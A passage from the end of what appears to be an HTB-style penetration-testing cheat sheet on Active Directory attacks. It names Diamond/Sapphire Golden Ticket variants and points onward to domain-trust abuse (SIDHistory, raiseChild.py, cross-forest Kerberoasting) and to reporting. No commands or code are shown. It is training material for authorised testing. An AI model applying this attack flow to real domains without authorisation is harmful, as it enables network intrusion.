   1388 - **Diamond/Sapphire ticket** variants — quieter Golden Tickets built from a real TGT ([08 - Stage 05 - Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks)).
   1389 
   1390 > [!tip] Where next
   1391 > Domain owned → cross the trust boundary: [Domain Trusts & Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (SIDHistory, foreign group membership, `raiseChild.py`, cross-forest Kerberoasting). Then wrap up evidence per [Stage 11 — Documentation & Reporting](/sheets/pentest-workflow/documentation-and-reporting).
   1392 
   1393 ---
   1394 
   1395 > [!navigation] Continue the attack flow
   1396 > **Previous:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation)
   1397 >
   1398 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
   1399 >
   1400 > **Next:** [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest)